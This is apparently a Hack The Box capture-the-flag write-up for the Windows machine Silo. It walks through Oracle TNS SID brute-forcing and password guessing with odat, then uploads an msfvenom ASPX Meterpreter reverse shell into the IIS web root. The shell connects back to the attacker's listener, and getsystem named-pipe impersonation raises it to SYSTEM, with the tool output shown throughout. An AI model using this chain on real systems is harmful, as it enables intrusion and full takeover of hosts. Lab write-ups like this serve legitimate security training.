Silo is a Windows machine that begins by enumerating an exposed Oracle TNS Listener on port 1521. SID brute-forcing identifies the active XE database instance, allowing odat passwordguesser to recover valid database credentials. Leveraging Oracle's UTL_FILE package with --sysdba privileges permits uploading a custom 64-bit ASPX Meterpreter payload directly into the IIS web root. Executing the web shell yields an initial reverse shell under the service context iis apppool\defaultapppool. Because IIS service accounts possess SeImpersonatePrivilege by default, executing Metasploit's getsystem forces spoolsv.exe to authenticate to a rogue pipe, enabling token capture and immediate elevation to NT AUTHORITY\SYSTEM to retrieve the root flag.
1. Service Enumeration and Credential Brute-Forcing
1.1 Network Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap silo.htb -sC -sV -O -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-23 07:20 -0400 Nmap scan report for silo.htb (10.129.95.188) Host is up (0.57s latency). Not shown: 987 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 |_http-server-header: Microsoft-IIS/8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49159/tcp open oracle-tns Oracle TNS listener (requires service name) 49160/tcp open msrpc Microsoft Windows RPC 49161/tcp open msrpc Microsoft Windows RPC Device type: general purpose Running: Microsoft Windows 2012 OS CPE: cpe:/o:microsoft:windows_server_2012:r2 OS details: Microsoft Windows Server 2012 R2 Network Distance: 2 hops Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 3s, deviation: 0s, median: 3s | smb2-security-mode: | 3.0.2: |_ Message signing enabled but not required | smb2-time: | date: 2026-10-23T11:23:08 |_ start_date: 2026-10-23T11:17:40 | smb-security-mode: | account_used:
Based on the results, the following services are running on the target machine.
- Port 80 - Microsoft IIS httpd 8.5 Web Server
- Port 135 - Microsoft Windows RPC
- Ports 139 and 445 - SMB Service
- Port 1521 - Oracle TNS listener (version 11.2.0.2.0)
- Port 5985 - WinRM Service
- Port 49159 - Oracle TNS listener
Port 80 is running Microsoft IIS httpd 8.5 Web Server and only has the default page. SMB service guest access is disabled.
1.2 Oracle SID Enumeration
Searching Metasploit framework for oracle TNS I found some exploits including auxiliary/admin/oracle/sid_brute . This allows me to connect directly to port 1521and enumerate the SIDs.
[*] 10.129.95.188:1521 - Checking 572 SIDs against 10.129.95.188:1521 [*] 10.129.95.188:1521 - 10.129.95.188:1521 Oracle - Checking 'LINUX8174'... [*] 10.129.95.188:1521 - 10.129.95.188:1521 Oracle - Refused 'LINUX8174' ..... [*] 10.129.95.188:1521 - 10.129.95.188:1521 Oracle - Checking 'XE'... [+] 10.129.95.188:1521 - 10.129.95.188:1521 Oracle - 'XE' is valid ..... [*] 10.129.95.188:1521 - 10.129.95.188:1521 Oracle - Checking 'PLSEXTPROC'... [+] 10.129.95.188:1521 - 10.129.95.188:1521 Oracle - 'PLSEXTPROC' is valid .....
The scan was able to identify two active Oracle SIDs.
XE: Express Edition database instancePLSEXTPROC: External procedure listener service
1.3 Credential Brute-Forcing
With a valid Oracle SID, Metasploit has the auxiliary/scanner/oracle/oracle_login module to brute-force the login credentials. But the module kept crashing.
I was able to use the Oracle Database Attacking Tool(odat) for this step. Using the passwordguesser module, I was able to brute-force and extract the login credentials.
[1] (10.129.95.188:1521): Searching valid accounts on the 10.129.95.188 server, port 1521 The login cis has already been tested at least once. What do you want to do: | ETA: 00:37:05 - stop (s/S) - continue and ask every time (a/A) - skip and continue to ask (p/P) - continue without to ask (c/C) c [!] Notice: 'ctxsys' account is locked, so skipping this username for password | ETA: 00:40:31 [!] Notice: 'dbsnmp' account is locked, so skipping this username for password | ETA: 00:39:06 [!] Notice: 'dip' account is locked, so skipping this username for password | ETA: 00:36:58 [!] Notice: 'hr' account is locked, so skipping this username for password | ETA: 00:30:08 [!] Notice: 'mdsys' account is locked, so skipping this username for password | ETA: 00:23:09 [!] Notice: 'oracle_ocm' account is locked, so skipping this username for password | ETA: 00:18:02 [!] Notice: 'outln' account is locked, so skipping this username for password###### | ETA: 00:16:12 [+] Valid credentials found: scott/tiger. Continue... ################## | ETA: 00:08:55 [!] Notice: 'xdb' account is locked, so skipping this username for password############################################### | ETA: 00:01:46 100% |#########################################################################################################################| Time: 00:44:28 [+] Accounts found on 10.129.95.188:1521/sid:XE: scott/tiger
Credentials extracted:
Username: scott
Password: tiger
2. Arbitrary File Upload & User Flag
2.1 Payload Generation & Exploitation
Looking through the options in odat, I noticed that I can upload files through Oracle. Since the web server is publicly accessible, I can upload a reverse shell file and trigger it through the browser.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 509 bytes Final size of aspx file: 3661 bytes Saved as: reverse64.aspx
(I tried the x86 payload, but it did not work, so I used the x64 payload)
I was able to create a reverse shell ASPX file using msfvenom.
[sudo] password for kali: [1] (10.129.95.188:1521): Put the /home/kali/Downloads/silo/reverse64.aspx local file in the C:\inetpub\wwwroot folder like reverse64.aspx on the 10.129.95.188 server [+] The /home/kali/Downloads/silo/reverse64.aspx file was created on the C:\inetpub\wwwroot directory on the 10.129.95.188 server like the reverse64.aspx file
After creating the payload, I uploaded the file using odat. Because user scott lacks file-write privileges, I used --sysdba flag to elevate to SYSDBA privileges, enabling administrative file system operations.
2.2 User Flag
Since this is a staged payload, I used Metasploit exploit/multi/handler with payload windows/x64/meterpreter/reverse_tcp to capture the reverse shell request.
After triggering the reverse shell script through the web browser by navigating to http://silo.htb/reverse64.aspx, I received a Meterpreter connection as iis apppool\defaultapppool.
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(multi/handler) > show options Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.10.16.36 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.16.36:4444 [*] Sending stage (248902 bytes) to 10.129.95.188 [*] Meterpreter session 3 opened (10.10.16.36:4444 -> 10.129.95.188:49165) at 2026-10-23 16:03:47 -0400 meterpreter > shell Process 1284 created. Channel 1 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>whoami whoami iis apppool\defaultapppool c:\windows\system32\inetsrv>
I was able to retrieve the user flag from the c:\Users\Phineas\Desktop directory.
c:\Users\Phineas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 69B2-6341
Directory of c:\Users\Phineas\Desktop
01/07/2018 03:03 PM <DIR> .
01/07/2018 03:03 PM <DIR> ..
01/05/2018 11:56 PM 300 Oracle issue.txt
10/23/2026 12:18 PM 34 user.txt
2 File(s) 334 bytes
2 Dir(s) 7,403,339,776 bytes free
c:\Users\Phineas\Desktop>type user.txt
type user.txt3. Privilege Escalation via Named Pipe Token Impersonation
3.1 Local Enumeration
Looking at the privileges assigned to the user iis apppool\defaultapppool, I noticed that the SeImpersonatePrivilege is enabled. This privilege enables impersonation of any token required from a client connecting to the server object created by the process.
c:\windows\system32\inetsrv>whoami /priv whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
3.2 Root Flag
I was able to execute getsystem in the Meterpreter session and escalate privileges to NT AUTHORITY\SYSTEM.
meterpreter > getuid Server username: IIS APPPOOL\DefaultAppPool meterpreter > getsystem ...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM ..... meterpreter > dir Listing: c:\Users\Administrator\Desktop ======================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 282 fil 2018-01-06 16:13:30 -0500 desktop.ini 100444/r--r--r-- 34 fil 2026-10-23 07:18:59 -0400 root.txt meterpreter > cat root.txt
Congrats! We found both flags!
HTB Machine Completion
